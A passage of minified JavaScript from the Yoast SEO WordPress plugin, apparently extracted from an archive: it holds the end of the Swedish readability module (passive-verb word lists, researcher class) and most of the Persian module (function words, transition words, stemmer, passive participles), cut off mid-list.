ts","vanställs","vanstyrs","väntades","väntas","väntats","vantolkas","vantolkats","vänts","vanvårdas","vanvårdats","våransas","varas","vårdades","vårdas","vårdats","värdebas","värderades","värderas","värderats","värdes","värdesättas","värdesattes","värdesatts","värdesätts","värdigades","värdigas","vares","vargas","varieras","varierats","värks","värmas","värmdes","varmhållas","varmkörs","varmmanglades","varmrökas","värms","värmts","varnades","värnades","varnas","värnas","varnats","värnats","vårseglats","varslades","varslas","varslats","varsnas","varvades","värvades","varvas","värvas","varvats","värvats","väs","vaskades","vaskas","vaskats","vässas","västallierades","västs","vattenfyllas","vattenfylls","vattengjutits","vattnades","vattnas","vattnats","vattrades","vattras","vävas","vävdes","vävs","vävts","växlades","växlas","växlats","växtfärgats","veckats","vecklades","vecklas","vederfaras","vederfares","vederfarits","vederfars","vederfors","vederlades","vederläggas","vederläggs","vederlagts","veks","veldes","venables","vendanges","veninivas","venstres","ventilerades","ventileras","ventilerats","verbaliseras","verderfarits","verdes","verifieras","verifierats","verkställas","verkställdes","verkställs","verkställts","vetas","veterinärundersökas","vetetortillas","vevades","vevas","vevats","vickas","vidarebefodrades","vidarebefordrades","vidarebefordras","vidarebefordrats","vidarebehandlas","vidareexporteras","vidareexporterats","vidareförsäljas","vidareförsäljs","vidaresändas","vidaresänts","vidareutbildas","vidareutvecklades","vidareutvecklas","vidareutvecklats","videodokumenteras","videofilmades","videofilmas","videofilmats","videoinspelats","vidgades","vidgas","vidgats","vidgåtts","vidhållas","vidimerades","vidimeras","vidkännas","vidmakthållas","vidmakthålles","vidmakthålls","vidmakthölls","vidröras","vidrörs","vidrörts","vidtagas","vidtages","vidtagits","vidtalades","vidtalas","vidtas","vidtogs","viftades","viftas","viftats","vigas","vigdes","vigs","vigts","vikas","vikits","viks","viktas","vikts","vilas","villfaras","villkoras","villkorats","villkorsändrades","vilseförts","vilseledas","vilseleddes","vilseleds","vilseletts","vimlades","vimlats","vindas","vindfälldes","vindtorkas","vineras","vingklippas","vinglas","vinifieras","vinkades","vinkas","vinklades","vinklas","vinnas","vinnes","vinns","vinschas","vinterförvarats","vinterkonserverats","vintersportades","vippas","virades","viras","virats","virkats","virvlades","virvlas","visades","visas","visats","visiones","visiterades","visiteras","viskades","viskas","viskats","vispades","vispas","vispats","visslades","visslas","visslats","visstes","visualiseras","vitaliserades","vitaliseras","vitaliserats","vitesföreläggas","vitesförelagts","vitlimmas","vitsordas","vittjas","vittjats","vittnas","vittras","vogts","voltas","vördades","vördas","voterades","vrakades","vräkas","vräks","vräktes","vräkts","vrålas","vrängas","vrängs","vranjes","vredgades","vredgas","vredgats","vreds","vrenskades","vrenskas","vridas","vrides","vridits","vrids","vunnits","walesas","walkabouts","wannadies","wästfelts","waves","williams","wokas","yeats","ylikangas","ympades","ympas","ympats","yorkbörs","yppades","yppas","yrkades","yrkas","ystades","ytbehandlas","yttrades","yttras","yttrats","zappas","zonindelades","zoomas"],{areWordsInSentence:X}=e.languageProcessing;function Y(s){return X(V,s)}const{AbstractResearcher:Z}=e.languageProcessing;class $ extends Z{constructor(s){super(s),delete this.defaultResearches.getFleschReadingScore,Object.assign(this.config,{language:"sv",passiveConstructionType:"morphological",firstWordExceptions:t,functionWords:G,transitionWords:d,twoPartTransitionWords:H,keyphraseLength:J}),Object.assign(this.helpers,{getStemmer:U,isPassiveSentence:Y})}}(window.yoast=window.yoast||{}).Researcher=a})();wordpress-seo/js/dist/languages/fa.js000064400000136717147510273070013656 0ustar00(()=>{"use strict";var e={d:(t,n)=>{for(var s in n)e.o(n,s)&&!e.o(t,s)&&Object.defineProperty(t,s,{enumerable:!0,get:n[s]})},o:(e,t)=>Object.prototype.hasOwnProperty.call(e,t),r:e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})}},t={};e.r(t),e.d(t,{default:()=>b});const n=window.yoast.analysis,s=["اگر","اما","باری","پس","تا","چون","  چه","خواه"," را","زیرا","که","لیکن","نه","نیز","و","ولی","هم"," یا"],r=s.concat(["ازآنکه","ازآنجا که","از این رو","از این گذشته","از بس","از بس که","از بهر آ‌نکه","اکنون که","اگرچه","اگر چنانچه","اگرچنانکه","الا اینکه","آنجا که","آنگاه که","با این حال","بااینکه","بالعکس","با وجود این","با وجود اینکه","بس که","بلکه","بنابراین","به جز","به شرط آ‌نکه","به طوری که","به هر حال","بی آنکه","تااینکه","تا آنکه","تا جایی که","چنانچه","چنانکه","چندان که","چون که","در حالیکه","در صورتی که","در نتیجه","زیرا که","سپس","علیرغم اینکه","مگر این که","وانگهی","وقتی که","وگرنه","ولو","هر چند","هر گاه که","هر وقت که","همان طور که","همان که","همچنین","همین که"]),o=function(e){let t=e;return e.forEach((n=>{(n=n.split("-")).length>0&&n.filter((t=>!e.includes(t))).length>0&&(t=t.concat(n))})),t}([].concat(["یک","دو","سه","چهار","پنج","شش","هفت","هشت","نه","ده","یازده","دوازده","سیزده","چهارده","پانزده","شانزده","هفده","هجده","نوزده","بیست","صد","هزار","میلیون","میلیارد","هفتده","نونزده","بیست و یک","سی","چهل","پنجاه","شصت ","هفتاد","هشتاد","نود","صد و یک","دویست","تریلیارد"],["اول","اوّل","دوم","سوم","چهارم","پنجم","ششم","هفتم","هشتم","نهم","دهم","یازدهم","دوازدهم","سیزدهم","چهاردهم","پانزدهم","شانزدهم","هفدهم","هجدهم","نوزدهم","بیستم","پانزدهمین","هفتهمین","هجدهمین","نوزدهمین","بیستمین ","بیست و یکم","سی ام ","چهلم","پنجاهم","شصتم","هفتادم","هشتادم","نودم","صدم","صد و یکم","دویستم","هزارم","میلیونم","میلیاردم","هفتهم"],["مرا","من را","من‌را","به من","تو را","شما را","شما","به تو","به شما","اون رو","اونو","به اون","اون","او را","به او","او","به ایشان","ایشان را","ایشان","به ایشون","ایشون رو","ایشون را","ایشون","این","این را","آن","به این","به آن","آن را","این رو","اینو","ما را","به ما","به اونا","آن‌ها","آنها را","آن‌ها را","به آنها","به آن‌ها","اونا","اونارو","اونا رو","من","تو","ما","آنها","همین","همان","اینان","آنان"],["کی","کِی","کجا","چه","چرا","چطور","آیا"],["کمی","زیاد","فراوان","بیشتر","بسیار","کم کم","مشتی","تعداد بسیارکم","مقداربسیارکم","تعداد زیادی","مقدارزیادی","بخش","تعداد","مقداری","چند","تمام","خیلی زیاد"],["خودم","خودت","خودش","یک نفر خودش","خودمان","خودتان","خودشان"],["هر کس","کسی","هیچ","فلان","هیچ کس","شخصی","هیچ چیز","همه چیز","چیزی","یکی دیگر","هر کدام","هر یک","هیچ کدام","کمی","خیلی","دیگری","همه","بعضی","هر دو","معدود","اندکی","خیلی","دیگران ","چندین"],["با","باری","نیز","چندان که","تا اینکه","چون‌که","اگرچه","باوجوداین","به شروطی که","واسه‎ی","بی","بر","چون","چندان‌که","تااینکه","چون که","اگر چنانچه","با این وجود","بعد از","برای","در","چونان که","زیرا که","تا آنکه","از این رو","اگرچنانچه","بس که","قبل از","واسه","را","برای این","چونان‌که","زیراکه","تاآنکه","ازاین‌رو","الا این‌که","از بس که","از بعد از","یا","برای این که","چنان","همین که","آن‌جا که","ازین‌رو","با این حال","بس‌که","از قبل از","اگر","برای آن که","چنان‌چه","همین‌که","آن‌گاه که","از بس","بااین‌حال","از بس‌که","اندر","نه","از برای","چنان‌که","همان‌که","ازآنجاکه","بااین‌که","به‌شرط آن‌که","علیه","مگر","برای آن","چنانچه","همان که","از آن‌جا که","ازبس","با این‌که","به شرط آن‌که","بدون","چه","خواه","چونکه","بلکه","از آن‌که","ازبس‌که","بااینکه","به شرطی که","ضد","زیرا","جز","ازآنکه","از بهر آن‌که","با وجود این","الی","غیر","که","الا","اکنون که","الاّ","از","بیرون","به","پایین","پشت","پهلوی","پی","تا","توی","درون","دنبال","روی","زیر","کنار","مانند","مثل","مقابل","شبیه","نزدیک","میان","پیش","برخی","پر","زی","سوای","بهر","به غیر ","به اضافه ی","به علاوه ی","به وسیله ی","به استثنای","به مجرد","به جهت","به خاطر","از نظر","از روی","ازسر","از قبیل","از لحاظ","از حیث","از جمله ی","در برابر","در مقابل","درباره ی","درمورد","درمیان","درخصوص","براثر","براساس","برطبق","برحسب","با وجود"],["اگر","اما","پس","تا","چون","چه","خواه","زیرا","که","لیکن","نه","نیز","و","ولی","هم","یا","که","همین که","آنجا که","از آنجا که","از این روی","از بس","از بس که","اکنون که","اگر چنانچه","اگر چنانکه","اگر چه","الا اینکه","با این حال","با اینکه","با وجود اینکه","با وجود این","بس که","به شرط آن که","به طوری که","بلکه","بنابراین","به هر حال","بی آنکه","تا اینکه","تا جایی که","چنانچه","چندانکه","چون که","در حالی که","در صورتی که","در نتیجه","زیرا که","وانگهی","وقتی که","وگرنه","هرچند","هر گاه که","هر وقت که","همانطور که"],["گفتن","توضیح دادن","اظهار کردن","پرسیدن","درخواست کردن","بحث کردن","اعلام کردن","گفتگو کردن","فهمیدن","درک کردن","پیشنهاد کردن","بیان کردن","فکر کردن","عقیده داشتن","مکالمه داشتن","ابراز کردن","مبادله کردن"],["خیلی","زیاد","کاملا زیاد","تقریباً","انصافاً","به طرز حیرت انگیزی","به طور عظیمی","بیش ازحد","بخصوص","فوق العاده","وحشتناک","به طور شگفت آوری","به معنای واقعی کلمه","نسبتا","واقعاً","بسیار","به طور فوق العاده"],["خواستن","بایستن","شایستن","توانستن","جرات کردن","داشتن","شدن"],["سیاه","سفید","آبی","قهوه ایی","خاکستری","سبز","نارنجی","ارغوانی","قرمز","سفید","زرد","دایره","راست","مربع","مثلث","تازه","تلخ","شور","ترش","تند","شیرین","بد","تمیز","پاک","تاریک","دشوار","تار","کثیف","خشک","ساده","خالی","گران","سریع","خارجی","کامل","خوب","سخت","سنگین","سفت","ارزان","سبک","محلی","جدید","پرسروصدا","قدیمی","قوی","ساکت","درست","کند","نرم","بسیار","ضعیف","مرطوب","اشتباه","جوان","بزرگ","عمیق","طولانی","دراز","کشیده","باریک","کوتاه","کوچک","وسیع","ضخیم","نازک","ناخواسته","ناپاک","نااهل","بعضی وقت ها","شب","امروز","امسال","فردا","همیشه","اینجا","آنجا","مدرسه","هر کجا","مسجد","خوب","با آرامی","افتان و خیزان","گریان","افسوس","متاسفانه","عجبا","شگفتا","حتماً","یقیناً","چگونه","چرا","شاید","پنداری","به گمانم","اندک اندک","قطره قطره","به جان","به خدا","مانا","همانا","چنان","چنین","بکردار","بسان","کاش","ای کاش","کاشکی","اگر","اگرچه","وگر","ور","چنانچه","نه","هرگز","هیچ","به هیچ وجه","اصلاً","ابداً","اول","دوم","نخست","درآغاز","پیاپی","گروه گروه","دسته دسته","دوتا دوتا","جز","مگر","جزکه","مگر که","اتفاقاً","احتمالاً","دائماً"," اجباراً","معمولاً","سریعاً","مخصوصاً","تقریباً"," آخرالامر","الآن","بالعکس ","فی الفور","بالطبع","مادام","حتی المقدور ","هنوز","از نو","دوباره","باز","مجدد","خارج","بالا","زیر","عقب","کنار","همه جا","باز","امیدوارم","الهی","خداکند","آرزومندم","ان شالله ","به نظرم","مثل اینکه","احتمال دارد","امکان دارد","تند","کند","آهسته","سریع","بد","آسان","ارزان","نیک","زشت ","نالان","دیروز"],["اِه","دِ","به به","اَه اَه","آخ","آخیش","آخیییی","وا","ای بابا","ای وای","اِواا","نُچّ","اَاَ بابا","هیس","ای وای من ","اُوه حالا","اُوه "],["شکستن","آب کردن","پخش کردن","لایه","ورقه","رول کردن","سرخ کردن","پوست کندن","مخلوط کردن","هم زدن","تفت دادن","قاطی کردن","چشیدن","برش","تکه کردن","نصف کردن","رنده کردن","جوشیدن","بخار کردن","ریختن","آبکش کردن","اضافه کردن","دم کردن","تخمیر کردن","باربیکیو","پختن","وزن کردن","رل کردن","خورد کردن","بخار پز کردن","غل زدن","آشپزی","مواد اولیه","دستور پخت","دستورالعمل","چرب کردن","در فر پختن","با ملاقه کشیدن","ریزریز کردن","مکعب خورد کردن","چرخ کردن","تیکه تیکه کردن","به آرامی جوشاندن","سریع هم زدن","با دست هم زدن","هم زن برقی","هم زدن با حرکت دایره ایی","گرم کردن","هم زدن باحرکت جلووعقب","تزیین کردن","ورز دادن","بریان کردن","گریل کردن","کباب کردن","با آتش مستقیم پختن","ادویه زدن","روغن اضافی را گرفتن","طعم دار کردن","پیچیدن","پخته نشده","زیاد پخته شده","کاملا پخته شده","نیم پز","خام","یخ زده","قاشق چایخوری","فر ","گاز","سطح روی گاز","حرارت ملایم","عصاره مرغ","عصاره گوشت","عصاره سبزیجات","سبک پخت وپز","ادویه","خمیر","بی ادویه","کتاب آشپزی"],["فروردین","اردیبهشت","خرداد","تیر","مرداد","شهریور","مهر","آبان","آذر","دی","بهمن","اسفند","صبح","ظهر","عصر","نصف شب","مغرب","غروب","پیش از ظهر","بامداد","قبل از ظهر","نیمه ظهر","ساعت","روز","زمان","تقویم","سال","دقیقه","اوایل شب","سر شب","هفته","گذشته","آینده","حال","بهار","تابستان","پاییز","زمستان","گرینویچ","دهه","تقویم قمری","تقویم شمسی","تقویم نجومی","ساعت شنی","ساعت عقربه ایی","ساعت جهانی","سریع","سال کبیسه","ساعت خورشیدی","لحظه لحظه","ماه","الان","وقت","نصف النهار","حال حاضر","اکنون","ربع","روزمره","روزانه","زمان سنج","تاخیر","دیروز","امروز"],["هر","همه","هیچ","فلان","چندین","خیلی ","کمی","بسیاری","اندکی","قدری","برخی","بعضی","پاره ایی","چندان"],["آقا","خانم","دوشیزه","جناب","سرکار خانم","سرکار آقا","دکتر","جناب آقا"],["دوباره","قطعاً","حتماً","اصلاً","قاعدتاً","ظبیعتاً","شاید","کاملاً","به","از","و","همچنین","هم","مانند","مثل","شبیه به","ولی","اما","امّا","لیکن","ولو","در ضمن","در کنار","ترجیحاً","وگرنه","پس","سپس","وقتی","زمانی که","به خاطر","مخصوصاً","مشخصاً","در کل","بعد","قبل","تا"],["را"],["همدیگر","یکدیگر"],["مال من","مال تو","مال او","مال آن","مال ما ","مال شما","مال ایشان","مال آنها"],["نیم","یک سوم","یک چهارم","یک پنجم","یک ششم","یک هفتم","یک هشتم","یک نهم","یک دهم","دو سوم","دو چهارم","دو پنجم","دو ششم","دو هفتم","دو هشتم","دو نهم","سه چهارم","سه پنجم"],["ی","یک","برخی از","معدود","چندتا","مقداری"],s)),a=[["چه","چه"],["خواه","خواه"],["نه","نه"],["هم","هم"],["یا","یا"]],c={recommendedLength:25},i=["برخی از","یک","ی","مقداری","چندتا","معدود","یک","دو","سه","چهار","پنج","شش","هفت","هشت","نه","ده","همان","همین","آنها","اینان","آنان","اینها","این","آن"],{regexHelpers:{searchAndReplaceWithRegex:u}}=n.languageProcessing,l=function(e){const t=[];return t.push("ن"+e),e.endsWith("ها")?t.push(...["یی","ی"].map((t=>e+t))):/([^وای]ه)$/i.test(e)?t.push(...["‌ای","‌یی","‌ام","‌ات","‌اش"].map((t=>e+t))):/([وا])$/i.test(e)?t.push(...["یی","یم","یت","یش"].map((t=>e+t))):(e.endsWith("ی")&&t.push(e+"‌ای"),t.push(...["مان","شان","تان","ش","ت","م","ی"].map((t=>e+t)))),t};function g(e){const t=[];t.push(...l(e));const n=function(e){return e.startsWith("ن")?e.slice(1,e.length):u(e,[["(و|ا)(یش|یت|یم|یی)$","$1"],["([^وای]ه)(‌یی|‌ای|‌اش|‌ات|‌ام)$","$1"],["(ی)‌ای$","$1"],["(ها)یی$","$1"],["(مان|شان|تان|ش|ت|م|ی)$",""]])}(e);return n&&(t.push(n),t.push(...l(n))),t}const{baseStemmer:h}=n.languageProcessing;function d(){return h}const p=["آراسته","آزرده","آزموده","آشفته","آغشته","آفریده","آلوده","آمده","آورده","آمیخته","آورده","آویخته","اُفتاده","اَفراشته","اَفروخته","اَفزوده","اَفشانده","اَنباشته","اَنداخته","اَندوخته","اِنگاشته","برانگیخته","باریده","بافته","بخشوده","بخشیده","برده","برگردانده","برگزیده","بسته","بلعیده","بوسیده","بوییده","پاشیده","پخته","پذیرفته","پراکنده","پرداخته","پرستیده","پرسیده","پژمرده","پسندیده","پنداریده","پوشیده","پوشانده","پیچیده","پیوسته","پیموده","تافته","تراشیده","ترسانده","ترکیده","ترکانده","تَکانده","تنیده","توانسته","جوشانده","جوشیده","جَویده","جوییده","چاپیده","چرخیده","چسبانده","چسبیده","چشیده","چیده","خاسته","خشکیده","خراشیده","خریده","خوانده","خورده","داده","دریده","دزدیده","دوخته","دوشیده","دیده","رانده","ربوده","رسانده","رسیده","رشته","رفته","ریخته","زاده","زده","زدوده","ساخته","سابیده","ساییده","ستانده","ستوده","سرشته","سروده","سوخته","سوزانده","شده","شسته","شکافته","شکانده","شکسته","شکفته","شکافیده","شمرده","شناسانده","شنفته","شنیده","طلبیده","فرساییده","فرستاده","فرسوده","فرموده","فروخته","فریفته","فشرده","کاسته","کاشته","کشته","کشیده","گفته","کوبیده","گداخته","گذاشته","گردانده","گرفته","گزارده","گَزیده","گُسترانده","گُسترده","گسسته","گسیخته","گشته","گشوده","گفته","گماشته","مالیده","نامیده","نگاشته","نواخته","نوردیده","نِوِشته","نوشیده","نهاده","نهفته","وابسته","واگذاشته","واگفته","وانهاده","انداخته","افتاده","ورانداخته","ورزیده","وزیده","ویرایش شده","یافته","ستانده شده","آغازشده","آماده","اَرزیده","آمده","پذیرایی شده","تولید شده","استفاده شده","آسفالت شده","اخراج شده","خلق شده","خیس شده","آماده شده","باز شده","بازپس گرفته شده","بشمار آمده","بررسی شده","پاره شده","پیدا شده","زخم خورده","انعام داده شده","زخم شده","ضایع شده","شکست یافته","شروع شده","گول خورده","دزدی رفته","انجام گرفته","فرمایش داده","فرمایش شده","به سر برده","سر رفته","سر آمده","روشن شده","راهنمایی شده","تکان خورده","زمین خورده","دیده شده","بر آمده","تلفیق شده","تخلیه شده","توافق شده","توجه شده","توقف شده","توقیف شده","حمله شده","خبردار شده","گرفتار شده","مسخره شده","مقصر شناخته شده","مضاعف شده","ممکن شده","نقشه کشیده","آغازشدن","آماده شدن","ارزیابی شدن","پذیرایی شدن","تولید شدن","استفاده شدن","آسفالت شدن","اخراج شدن","خلق شدن","خیس شدن","آماده شدن","باز کردن","باز پس گرفتن","بشمار آمدن","بررسی شدن","پاره شدن","پیدا شدن","زخم خوردن","انعام گرفتن","زخم شدن","ضایع شدن","شکست یافتن","شروع شدن","گول خوردن","دزدی رفتن","انجام گرفتن","فرمایش دادن","فرمایش شدن","به سر بردن","سر رفتن","سر آمدن","روشن شدن","راهنمایی کردن","تکان خوردن","زمین خوردن","دیده شدن","بر آمدن","تلفیق شدن","تخلیه شدن","توافق شدن","توجه شدن","توقف کردن","توقیف شدن","حمله شدن","خبردار شدن","گرفتار آمدن","مسخره شدن","مقصر شناخته شدن","مضاعف کردن","ممکن شدن","نقشه کشیدن","آغاز شده","آماده شد","ارزیابی شدم","پذیرایی شدم","تولید شد","استفاده شد","آسفالت شد","اخراج شدم","خلق شدم","خیس شدم","آماده شد","باز شد","باز پس گرفته شد","بشمار آمد","بررسی شد","پاره شد","پیدا شد","زخم خورد","انعام گرفتم","زخم شد","ضایع شد","شکست یافتم","شروع شد","گول خوردم","دزدی رفت","انجام گرفت","سر رفت","سر آمد","روشن شد","راهنمایی شدم","تکان خورد","زمین خورد","دیده شدم","تلفیق شد","تخلیه شد","توافق شد","توجه شد","توقف کرد","توقیف شدم","حمله شد","خبردار شدم","گرفتار آمد","مسخره شدم","مقصر شناخته شدم","مضاعف شد","ممکن شد","نقشه کشیده شد","آغاز شده است","آماده می‌شد","ارزیابی شدی","پذیرایی شدی","تولید می‌شد","استفاده می‌شد","آسفالت می‌شد","اخراج شدی","خلق شدی","خیس شدی","آماده می‌شد","باز شدند","باز پس گرفته شد","بشمار آمدند","بررسی شدند","پاره شدند","پیدا شدند","زخم خوردند","انعام گرفتی","زخم شدند","ضایع شدند","شکست یافتی","شروع می‌شد","گول خوردی","دزدی رفته","انجام گرفتند","سر می‌رفت","داشت سر می‌آمد","روشن شدند","راهنمایی شدی","تکان خوردند","زمین خواهد خورد","دیده شدی","تلفیق شدند","تخلیه شدند","توافق شده","توجه می‌شد","توقف کردند","توقیف شدی","حمله می‌شد","خبردار شدی","گرفتار آمده","مسخره شدی","مقصر شناخته شدی","مضاعف شده","ممکن شده","نقشه کشیده شده است","داشت آغاز می‌شد","داشت آماده می‌شد","ارزیابی شد","پذیرایی شد","داشت تولید می‌شد","داشت استفاده می‌شد","داشت آسفالت می‌شد","اخراج شد","خلق شد","خیس شد","آماده می‌شدند","باز می‌شد","داشت باز پس گرفته می‌شد","بشمار می‌آمد","بررسی می‌شد","پاره می‌شد","پیدا شده","زخم خورده","انعام گرفت","زخم شده","ضایع شده","شکست یافت","داشت شروع می‌شد","گول خورد","دزدی رفته است","انجام می‌گرفت","سر رفته","سر آمده","روشن می‌شد","راهنمایی شد","تکان می‌خورد","دیده شد","تلفیق می‌شد","تخلیه می‌شد","توافق شده است","توجه شده","توقف کرده","توقیف شد","داشت حمله می‌شد","خبردار شد","گرفتار آمده است","مسخره شد","مقصر شناخته شد","مضاعف شده است","ممکن شده است","نقشه کشیده خواهد شد","آغاز شده بود","آماده شده","ارزیابی شدیم","پذیرایی شدیم","تولید شده ","استفاده شده","آسفالت شده","اخراج شدیم","خلق شدیم","خیس شدیم","داشت آماده می‌شد","باز می‌شدند","داشتند باز پس گرفته می‌شدند","بشمار می‌آمدند","بررسی می‌شدند","پاره می‌شدند","پیدا شده است","زخم خورده است","انعام گرفتیم","زخم شده است","ضایع شده است","شکست یافتیم","شروع شده","گول خوردیم","دزدی رفته بود","انجام می‌گرفتند"," سر رفته است","سر آمده است","روشن می‌شدند","راهنمایی شدیم","تکان می‌خوردند","دیده شدیم","تلفیق می‌شدند","تخلیه می‌شدند","توافق شده بود","توجه شده است","توقف کرده است","توقیف شدیم","حمله شده","خبردار شدیم","گرفتار آمده بود","مسخره شدیم","مقصر شناخته شدیم","مضاعف شده بود","ممکن شده بود","آغاز شود","آماده شده است","ارزیابی شدید","پذیرایی شدید","تولید شده است","استفاده شده است","آسفالت شده است","اخراج شدید","خلق شدید","خیس شدید","داشتند آماده می‌شدند","داشت باز می‌شد","باز پس گرفته شده","داشت بشمار می‌آمد","داشت بررسی می‌شد","پاره شده","پیدا شده بود","زخم خورده بود","انعام گرفتید","زخم شده‌اند","ضایع شده بود","شکست یافتید","شروع شده است","گول خوردید","دزدی می‌رود","داشت انجام می‌گرفت","سر رفته بود","سر آمده بود","داشت روشن می‌شد","راهنمایی شدید","داشت تکان می‌خورد","دیده شدید","داشت تلفیق می‌شد","داشت تخلیه می‌شد","توافق شود","توجه شده بود","توقف کرده بود","توقیف شدید","حمله شده است","خبردار شدید","گرفتار خواهد آمد","مسخره شدید","مقصر شناخته شدید","مضاعف شود","ممکن شود","آغاز می‌شود","آماده شده بود","ارزیابی شدند","پذیرایی شدند","تولید شده بود","استفاده شده بود","آسفالت شده بود","اخراج شدند","خلق شدند","خیس شدند","آماده شده","داشتند باز می‌شدند","باز پس گرفته شده است","داشتند بشمار می‌آمدند","داشتند بررسی می‌شدند","پاره شده است","پیدا شده بودند","زخم خورده بودند","انعام گرفتند","زخم شده بود","ضایع شده بودند","شکست یافتند","شروع شده‌اند","گول خوردند","دزدی رفته باشد","داشتند انجام می‌گرفتند","دارد سر می‌رود","سر خواهد آمد","داشتند روشن می‌شدند","راهنمایی شدند","داشتند تکان می‌خوردند","دیده شدند","داشتند تلفیق می‌شدند","داشتند تخلیه می‌شدند","توافق می‌شود","توجه می‌شود","توقف می‌کند","توقیف شدند","حمله شده بود","خبردار شدند","مسخره شدند","مقصر شناخته شدند","مضاعف می‌شود","ممکن خواهد شد","آراستن","آزردن","آزمودن","آشفتن","آغشتن","آفریدن","آلودن","آمدن","آمیختن","آوردن","آویختن","اُفتادن","اَفراشتن","اَفروختن","اَفزودن","اَفشاندن","اَنباشتن","اَنداختن","اَندوختن","برانگیختن","بافتن","بخشودن","بخشیدن","بردن","برگرداندن","برگزیدن","بستن","بلعیدن","بوسیدن","بوییدن","پاشیدن","پختن","پذیرفتن","پراکندن","پرداختن","پرستیدن","پرسیدن","پژمردن","پسندیدن","پوشیدن","پوشاندن","پیچیدن","پیوستن","پیمودن","تافتن","تراشیدن","ترساندن","ترکیدن","ترکاندن","تَکاندن","تنیدن","توانستن","جوشاندن","جوشیدن","جَویدن","جوییدن","چاپیدن","چرخییدن","چسباندن","چسبیدن","چشیدن","چیدن","خاستن","خشکاندن","خراشیدن","خریدن","خواندن","خوردن","دادن","دریدن","دزدیدن","دوختن","دوشیدن","راندن","ربودن","رساندن","رسیدن","ریختن","زادن","زدن","زدودن","ساختن","سابیدن","ساییدن","ستاندن","ستودن","سرشتن","سرودن","سوختن","سوزاندن","انجام شدن","شستن","شکافتن","شکاندن","شکستن","شکُفتن","شمردن","شناساندن","شِنُفتن","شنیدن","طلبیدن","فرساییدن","فرستادن","فرسودن","فرمودن","فروختن","فریفتن","فِشُردن","کاستن","کاشتن","کُشتن","کشیدن","کَفتن","کوبیدن","گُداختن","گذاشتن","گرداندن","گرفتن","گزاردن","گَزیدن","گُستراندن","گُستَردن","گُسستن","گُسیختن","گشودن","گفتن","گُماشتن","مالیدن","نامیدن","نگاشتن","نواختن","نَوردیدن","نِوِشتن","نوشیدن","نهادن","نهفتن","واگذاشتن","وانهادن","افتادن","ورانداختن","ورزیدن","ویرایش کردن","یافتن","ستاندن","آراسته شد","آزرده شدم","آزموده شدم","آشفته شدم","آغشته شد","آفریده شد","آلوده شد","آمد","آمیخته شد","آورده شد","آویخته شد","افتاده شده","افراشته شد","افروخته شد","افزوده شد","افشانده شد","انباشته شد","انداخته شد","اندوخته شد","برانگیخته شد","بافته شد","بخشوده شد","بخشیده شد","برده شد","برگردانده شد","برگزیده شده","بسته شد","بلعیده شد","بوسیده شدم","بوییده شد","پاشیده شد","پخته شد","پذیرفته شدم","پراکنده شد","پرداخته شد","پرستیده شد","پرسیده شد","پژمرده شد","پسندیده شد","پوشیده شد","پیچیده شد","پیوسته شده","پیموده شد","تافته شد","تراشیده شد","ترسانده شدم","ترکیده شد","تکانده شد","تنیده شد","جوشانده شد","جوشیده شد","جویده شد","جوییده شده","چاپیده شدم","چرخیده شد","چسبانده شد","چسبیده شد","چشیده شد","چیده شد","خاسته شد","خشکیده شد","خراشیده شد","خریده شد","خوانده شد","خورده شد","داده شد","دریده شد","دزدیده شد","دوخته شد","دوشیده شد","رانده شد","ربوده شد","رسانده شد","رسیده شد","ریخته شد","زاده شد","زده شد","زدوده شد","ساخته شد","سابیده شد","ستانده شد","ستوده شد","سرشته شد","سروده می‌شود","سوخته شد","سوزانده شد","انجام شد","شسته شد","شکافته شد","شکانده شد","شکسته شد","شکفته شد","شمرده شد","شناسانده شد","شنفته شد","شنیده شد","طلبیده شدم","فرساییده شد","فرستاده شد","فرسوده شد","فرموده شد","فروخته شد","فریفته شد","فشرده شد","کاسته شد","کاشته شد","کشته شد","کشیده شد","گفته شد","کوبیده شد","گداخته شده","گذاشته شد","گردانده شد","گرفته شد","گزارده شد","گزیده شد","گسترانده شد","گسترده شد","گسسته شد","گسیخته شد","گشوده شد","گفته شد","گماشته شده","مالیده شد","نامیده شد","نگاشته شد","نواخته شد","نوردیده شد","نوشته شد","نوشیده شد","نهاده شد","نهفته شده","واگذاشته شد","وانهاده شد","افتاده شد","ورانداخته شد","ورزیده شد","ویرایش شد","یافته شد","ستانده شد","آراسته شدند","آزرده شدی","آزموده شدی","آشفته شدی","آغشته شده","آفریده شدیم","آلوده شدند","آمدند","آمیخته شدند","آورده شدند","آویخته شدند","افتاده شده است","افراشته شدند","داشت افروخته می‌شد","افزوده شدند","افشانده شدند","انباشته شدند","انداخته شدند","اندوخته شدند","برانگیخته می‌شد","بافته شدند","بخشوده شدند","بخشیده شدند","برده شدند","برگردانده شدند","برگزیده شده است","بسته شدند","بلعیده شدند","بوسیده شد","بوییده شده","پاشیده شده","پخته شدند","پذیرفته شد","پراکنده شدند","پرداخته شده","پرستیده می‌شود","پرسیده شدند","پژمرده شدند","پسندیده شدند","پوشیده شدند","پیچیده شده","پیوسته شده است","پیموده شده","تافته شدند","تراشیده شدند","ترسانده شد","ترکیده شده","تکانده شدند","تنیده شده","داشت جوشانده می‌شد","داشت جوشیده می‌شد","جویده شده","جوییده شده است","چاپیده شدی","چرخیده شدند","چسبانده شدند","چسبیده شدند","چشیده شدند","چیده شدند","خاسته شدند","خشکیده شدند","خراشیده شدند","خریده شدند","خوانده شدند","خورده شدند","داده شدند","دریده شدند","دزدیده شدند","دوخته شدند","دوشیده شدند","رانده شدند","ربوده شدند","رسانده شده","رسیده شده","داشت ریخته می‌شد","زاده شده","داشت زده می‌شد","زدوده شده","ساخته شدند","سابیده شدند","ستانده شده","ستوده می‌شد","سرشته شده","سروده شوده","داشت سوخته می‌شد","سوزانده شدند","انجام شدند","شسته شدند","شکافته شدند","شکانده شدند","شکسته شدند","شکفته شدند","شمرده شدند","شناسانده شدند","شنفته می‌شد","شنیده می‌شد","طلبیده شدی","فرساییده شدند","فرستاده شدند","فرسوده شدند","فرموده شده","فروخته شدند","داشت فریفته می شد","فشرده شده","کاسته می‌شد","کاشته شده","کشته شدند","کشیده شدند","گفته شده","داشت کوبیده می‌شد","گداخته شده است","داشت گذاشته می‌شد","گردانده شده","داشت گرفته می‌شد","گزارده شده","گزیده شدم","گسترانده شده","گسترده شده","گسسته شده","گسیخته شده","داشت گشوده می‌شد","داشت گفته می‌شد","گماشته شده است","مالیده شده","نامیده شده","داشت نگاشته می‌شد","نواخته می‌شد","نوردیده شده","نوشته شدند","نوشیده شده","نهاده شده","نهفته شده است","واگذاشته شده","وانهاده شده","افتاده 